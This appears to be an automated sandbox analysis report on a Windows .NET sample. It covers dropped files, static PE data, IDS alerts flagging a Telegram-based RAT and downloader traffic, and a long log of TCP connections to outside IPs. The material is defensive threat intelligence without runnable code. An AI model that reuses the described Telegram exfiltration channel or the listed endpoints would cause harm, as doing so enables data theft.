C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\System\Windows.txt

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	13987
Entropy (8bit):	5.6432858974664555
Encrypted:	false
SSDEEP:	384:KNks+cVT9mq3heFrZN+xtvZ6HKoR78TlRBB1ZXY2kkfic2/Ric96jjRj6xWA+MQ1:c
MD5:	3B3BF66D904167DF25853268644F035B
SHA1:	578722F726CF82B974FFAB6ECE3D0719197B45B7
SHA-256:	744635E396A873FB00679A9A4B327419DF359189C0DF34A914DB46D02D6A5666
SHA-512:	33F5E96F0B5EFD4C9F8F898DA0234315CDC4FA6F4D599B379C7089A061D803B4A638F0BAFAC6F751090479E6F0BD74513863D853B1A76C8C384DAFB307B1188E
Malicious:	false
Preview:	NAME: SystemSettings..TITLE: Settings..PID: 1720..EXE: C:\Windows\ImmersiveControlPanel\SystemSettings.exe..NAME: OJMuycskEylg..TITLE: New Tab - Google Chrome..PID: 1288..EXE: C:\Program Files (x86)\oXmorjVLYtOtWNpyhZfsfQkTLjhIiCvdfADUNKZkAUd\OJMuycskEylg.exe..NAME: OJMuycskEylg..TITLE: New Tab - Google Chrome..PID: 5588..EXE: C:\Program Files (x86)\oXmorjVLYtOtWNpyhZfsfQkTLjhIiCvdfADUNKZkAUd\OJMuycskEylg.exe..NAME: OJMuycskEylg..TITLE: New Tab - Google Chrome..PID: 4724..EXE: C:\Program Files (x86)\oXmorjVLYtOtWNpyhZfsfQkTLjhIiCvdfADUNKZkAUd\OJMuycskEylg.exe..NAME: OJMuycskEylg..TITLE: New Tab - Google Chrome..PID: 2832..EXE: C:\Program Files (x86)\oXmorjVLYtOtWNpyhZfsfQkTLjhIiCvdfADUNKZkAUd\OJMuycskEylg.exe..NAME: OJMuycskEylg..TITLE: New Tab - Google Chrome..PID: 3428..EXE: C:\Program Files (x86)\oXmorjVLYtOtWNpyhZfsfQkTLjhIiCvdfADUNKZkAUd\OJMuycskEylg.exe..NAME: OJMuycskEylg..TITLE: New Tab - Google Chrome..PID: 6256..EXE: C:\Program Files (x86)\oXmorjVLYtOtWNpyhZfsfQkTLjhIiCvdfADU

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\msgid.dat

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:vn:v
MD5:	D1FE173D08E959397ADF34B1D77E88D7
SHA1:	B74F5EE9461495BA5CA4C72A7108A23904C27A05
SHA-256:	98A3AB7C340E8A033E7B37B6EF9428751581760AF67BBAB2B9E05D4964A8874A
SHA-512:	7BF79737110A1D25FFC719D9A8DF5F5CAF32F9F270BA0A560CC320F3A30366A4B20BFAD4A4B35119A0764A0130F96F0C505EF3537A2295F6EE8AC1ACB8EB36D4
Malicious:	false
Preview:	79

\Device\Null

Download File

Process:	C:\Windows\System32\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.5991860770036785
Encrypted:	false
SSDEEP:	3:hYF8AgARcWmFsFJQZaVy:hYF/mFSQZas
MD5:	471500D11DAF370CB75C597A4B1A7654
SHA1:	1AC2D4BDA1A30E09287F680C2AD75C577B096898
SHA-256:	C751BAFF37E4DC361F2C77BCC6B356159CC6178D1642244CBCD764A8DDE409B9
SHA-512:	DB81C5CE33D78E5618F41738129B5E623300CEFF188D99E7173E4E524107EEDED4C3BE2F15AC4715D3D10EAC23E39841978BBD42326E5C4E016A2B938C37A855
Malicious:	false
Preview:	..Waiting for 2 seconds, press CTRL+C to quit ....1.0..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.975072144677949
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	yv7QsAR49V.exe
File size:	3'746'816 bytes
MD5:	03a0e76a8c671d5d10caf9b73f17c2bb
SHA1:	7e426796a6a12dce6a30e6dd337974ca097c627d
SHA256:	0adf1cfd118c89091ddd89493989c01348ad74ee8e25c71f4a30c3400e511102
SHA512:	09009776ed9cfd0840026dd52bd1e24a5a13fc8cdc876365cf6e2b5881ec663016d27d96db6727b22b66e1db1c9624b94084ff0deeb8fb562d900171e3aff2d4
SSDEEP:	98304:QkqXf0FdnlnrYYesDi6sfLxkuahjCOeX9YG9see5GnRyCAm0makxH13:QkSIdnVbesRAkuujCPX9YG9he5GnQCAo
TLSH:	4806235033F84659E1FF5FB8A97162109F3779179836D64C1998108C0EB2B84EE62FBB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...q............."...0...9.............. ....@...... .......................`9...........`...@......@............... .....

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xBC98A971 [Mon Apr 7 18:37:37 2070 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x394000	0x1223	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x391498	0x391600	5e40efddfbe612071e5ef2c86a7bf8f6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x394000	0x1223	0x1400	7f6226a0696fa64afb6759e87e6049ca	False	0.3564453125	data	4.8310260050565885	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x3940a0	0x348	data			0.43214285714285716
RT_MANIFEST	0x3943e8	0xe3b	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.38649464726873456

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-29T12:18:47.338188+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.12	49721	104.16.184.241	80	TCP
2024-11-29T12:18:56.898160+0100	2029323	ET MALWARE Possible Generic RAT over Telegram API	1	192.168.2.12	49731	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2024 12:18:33.756443024 CET	49714	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.756542921 CET	443	49714	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:33.756628990 CET	49714	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.757471085 CET	49715	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.757525921 CET	443	49715	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:33.757540941 CET	49713	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.757548094 CET	443	49713	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:33.757585049 CET	49715	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.757620096 CET	49713	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.757811069 CET	49716	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.757850885 CET	443	49716	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:33.757893085 CET	49716	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.758796930 CET	49717	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.758833885 CET	443	49717	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:33.758891106 CET	49717	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.760330915 CET	49711	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.760344028 CET	443	49711	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:33.760401011 CET	49711	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.761702061 CET	49712	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.761714935 CET	443	49712	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:33.761773109 CET	49712	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.778414965 CET	49715	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.778430939 CET	443	49715	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:33.778454065 CET	49716	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.778472900 CET	443	49716	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:33.778475046 CET	49714	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.778490067 CET	443	49714	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:33.778506041 CET	49713	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.778515100 CET	443	49713	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:33.779030085 CET	49717	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.779045105 CET	443	49717	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:33.779206038 CET	49711	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.779216051 CET	443	49711	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:33.779473066 CET	49712	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:33.779483080 CET	443	49712	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:34.999290943 CET	443	49713	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:34.999382973 CET	49713	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.003403902 CET	49713	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.003436089 CET	443	49713	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.003700018 CET	443	49713	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.034674883 CET	443	49715	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.034766912 CET	49715	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.034908056 CET	443	49711	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.034974098 CET	49711	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.035198927 CET	443	49716	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.035259962 CET	49716	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.035449028 CET	443	49712	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.035517931 CET	49712	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.036741972 CET	49716	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.036751986 CET	443	49716	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.036993027 CET	443	49716	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.037832975 CET	49712	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.037846088 CET	443	49712	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.038085938 CET	443	49712	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.046972036 CET	49713	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.061680079 CET	49715	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.061708927 CET	443	49715	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.062052965 CET	443	49715	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.062879086 CET	49711	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.062891006 CET	443	49711	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.063193083 CET	443	49711	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.073213100 CET	49711	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.073213100 CET	49716	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.073304892 CET	49713	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.073453903 CET	49712	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.073466063 CET	49715	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.079750061 CET	443	49717	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.079946041 CET	49717	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.081499100 CET	49717	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.081510067 CET	443	49717	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.082020998 CET	443	49714	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.082093000 CET	49714	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.082314014 CET	443	49717	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.083261013 CET	49714	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.083271980 CET	443	49714	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.083520889 CET	443	49714	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.084090948 CET	49717	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.084248066 CET	49714	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.115328074 CET	443	49716	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.115336895 CET	443	49711	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.119328976 CET	443	49712	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.119333029 CET	443	49715	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.119352102 CET	443	49713	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.127325058 CET	443	49714	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.127331972 CET	443	49717	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.425750971 CET	443	49713	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.425883055 CET	443	49713	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.425951004 CET	49713	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.440156937 CET	49713	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.477575064 CET	443	49711	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.477684021 CET	443	49711	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.478152990 CET	49711	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.478195906 CET	443	49712	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.478424072 CET	443	49712	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.478513956 CET	49711	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.478548050 CET	49712	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.478660107 CET	443	49716	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.478683949 CET	49712	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.478745937 CET	443	49716	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.478830099 CET	443	49716	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.478832006 CET	49716	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.478842974 CET	443	49716	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.478883982 CET	49716	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.478899956 CET	443	49716	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.478915930 CET	443	49716	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.478959084 CET	49716	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.480119944 CET	49716	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.530988932 CET	443	49717	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.531111956 CET	443	49717	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.532706976 CET	49717	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.532996893 CET	49717	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.544785023 CET	443	49714	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.544863939 CET	443	49714	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.544903994 CET	443	49714	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.544923067 CET	49714	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.544945955 CET	443	49714	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.544960022 CET	443	49714	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.544992924 CET	49714	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.545011044 CET	49714	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.545397997 CET	443	49715	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.545495033 CET	443	49715	185.199.108.133	192.168.2.12
Nov 29, 2024 12:18:35.545736074 CET	49714	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.546071053 CET	49715	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:35.546143055 CET	49715	443	192.168.2.12	185.199.108.133
Nov 29, 2024 12:18:39.352663994 CET	49718	443	192.168.2.12	149.154.167.220
Nov 29, 2024 12:18:39.352716923 CET	443	49718	149.154.167.220	192.168.2.12
Nov 29, 2024 12:18:39.352818012 CET	49718	443	192.168.2.12	149.154.167.220
Nov 29, 2024 12:18:39.353286028 CET	49718	443	192.168.2.12	149.154.167.220
Nov 29, 2024 12:18:39.353298903 CET	443	49718	149.154.167.220	192.168.2.12
Nov 29, 2024 12:18:40.767153025 CET	443	49718	149.154.167.220	192.168.2.12
Nov 29, 2024 12:18:40.767230034 CET	49718	443	192.168.2.12	149.154.167.220
Nov 29, 2024 12:18:40.770634890 CET	49718	443	192.168.2.12	149.154.167.220
Nov 29, 2024 12:18:40.770648003 CET	443	49718	149.154.167.220	192.168.2.12
Nov 29, 2024 12:18:40.770977020 CET	443	49718	149.154.167.220	192.168.2.12
Nov 29, 2024 12:18:40.772842884 CET	49718	443	192.168.2.12	149.154.167.220
Nov 29, 2024 12:18:40.815329075 CET	443	49718	149.154.167.220	192.168.2.12
Nov 29, 2024 12:18:41.281675100 CET	443	49718	149.154.167.220	192.168.2.12
Nov 29, 2024 12:18:41.281752110 CET	443	49718	149.154.167.220	192.168.2.12
Nov 29, 2024 12:18:41.282320976 CET	49718	443	192.168.2.12	149.154.167.220
Nov 29, 2024 12:18:41.282823086 CET	49718	443	192.168.2.12	149.154.167.220
Nov 29, 2024 12:18:42.956878901 CET	49719	80	192.168.2.12	104.16.184.241
Nov 29, 2024 12:18:43.077145100 CET	80	49719	104.16.184.241	192.168.2.12
Nov 29, 2024 12:18:43.077236891 CET	49719	80	192.168.2.12	104.16.184.241
Nov 29, 2024 12:18:43.077610970 CET	49719	80	192.168.2.12	104.16.184.241
Nov 29, 2024 12:18:43.197838068 CET	80	49719	104.16.184.241	192.168.2.12
Nov 29, 2024 12:18:44.217437029 CET	80	49719	104.16.184.241	192.168.2.12
Nov 29, 2024 12:18:44.220611095 CET	49719	80	192.168.2.12	104.16.184.241
Nov 29, 2024 12:18:44.341049910 CET	80	49719	104.16.184.241	192.168.2.12
Nov 29, 2024 12:18:44.341232061 CET	49719	80	192.168.2.12	104.16.184.241
Nov 29, 2024 12:18:46.036314964 CET	49721	80	192.168.2.12	104.16.184.241
Nov 29, 2024 12:18:46.156356096 CET	80	49721	104.16.184.241	192.168.2.12
Nov 29, 2024 12:18:46.156449080 CET	49721	80	192.168.2.12	104.16.184.241
Nov 29, 2024 12:18:46.156610012 CET	49721	80	192.168.2.12	104.16.184.241
Nov 29, 2024 12:18:46.276487112 CET	80	49721	104.16.184.241	192.168.2.12
Nov 29, 2024 12:18:46.608683109 CET	49722	443	192.168.2.12	45.112.123.126
Nov 29, 2024 12:18:46.608736038 CET	443	49722	45.112.123.126	192.168.2.12
Nov 29, 2024 12:18:46.608911991 CET	49722	443	192.168.2.12	45.112.123.126
Nov 29, 2024 12:18:46.609324932 CET	49722	443	192.168.2.12	45.112.123.126
Nov 29, 2024 12:18:46.609359980 CET	443	49722	45.112.123.126	192.168.2.12
Nov 29, 2024 12:18:47.295135021 CET	80	49721	104.16.184.241	192.168.2.12
Nov 29, 2024 12:18:47.338187933 CET	49721	80	192.168.2.12	104.16.184.241
Nov 29, 2024 12:18:47.458420992 CET	80	49721	104.16.184.241	192.168.2.12
Nov 29, 2024 12:18:47.458770037 CET	49721	80	192.168.2.12	104.16.184.241
Nov 29, 2024 12:18:47.999850035 CET	443	49722	45.112.123.126	192.168.2.12
Nov 29, 2024 12:18:48.000017881 CET	49722	443	192.168.2.12	45.112.123.126
Nov 29, 2024 12:18:48.003995895 CET	49722	443	192.168.2.12	45.112.123.126
Nov 29, 2024 12:18:48.004009008 CET	443	49722	45.112.123.126	192.168.2.12
Nov 29, 2024 12:18:48.004337072 CET	443	49722	45.112.123.126	192.168.2.12
Nov 29, 2024 12:18:48.011168957 CET	49722	443	192.168.2.12	45.112.123.126
Nov 29, 2024 12:18:48.055325985 CET	443	49722	45.112.123.126	192.168.2.12
Nov 29, 2024 12:18:48.565573931 CET	443	49722	45.112.123.126	192.168.2.12
Nov 29, 2024 12:18:48.565653086 CET	443	49722	45.112.123.126	192.168.2.12
Nov 29, 2024 12:18:48.565696955 CET	49722	443	192.168.2.12	45.112.123.126
Nov 29, 2024 12:18:48.566613913 CET	49722	443	192.168.2.12	45.112.123.126
Nov 29, 2024 12:18:49.191251993 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:49.191298008 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:49.191382885 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:49.191914082 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:49.191930056 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.611511946 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.611612082 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.614087105 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.614098072 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.614346981 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.624869108 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.667339087 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.993036032 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.993067980 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.994205952 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.994219065 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.995740891 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.995755911 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.995971918 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.995978117 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.996088028 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.996093035 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.996170044 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.996176004 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.996275902 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.996283054 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.996336937 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.996342897 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.996448994 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.996454000 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.996534109 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.996539116 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.996622086 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.996628046 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.996670008 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.996675014 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.996756077 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.996761084 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.996826887 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.996835947 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.996927023 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.996932030 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.996988058 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.996992111 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.997056961 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.997061014 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.997251034 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.997251034 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.997257948 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.997288942 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.997349977 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.997355938 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.998402119 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.998414993 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.998588085 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.998594999 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.998708963 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.998716116 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.998794079 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.998800039 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:50.999794006 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:50.999802113 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:51.000415087 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:51.000426054 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:51.000592947 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:51.000598907 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:51.000910044 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:51.000916958 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:51.001106977 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:51.001111984 CET	443	49726	31.14.70.244	192.168.2.12
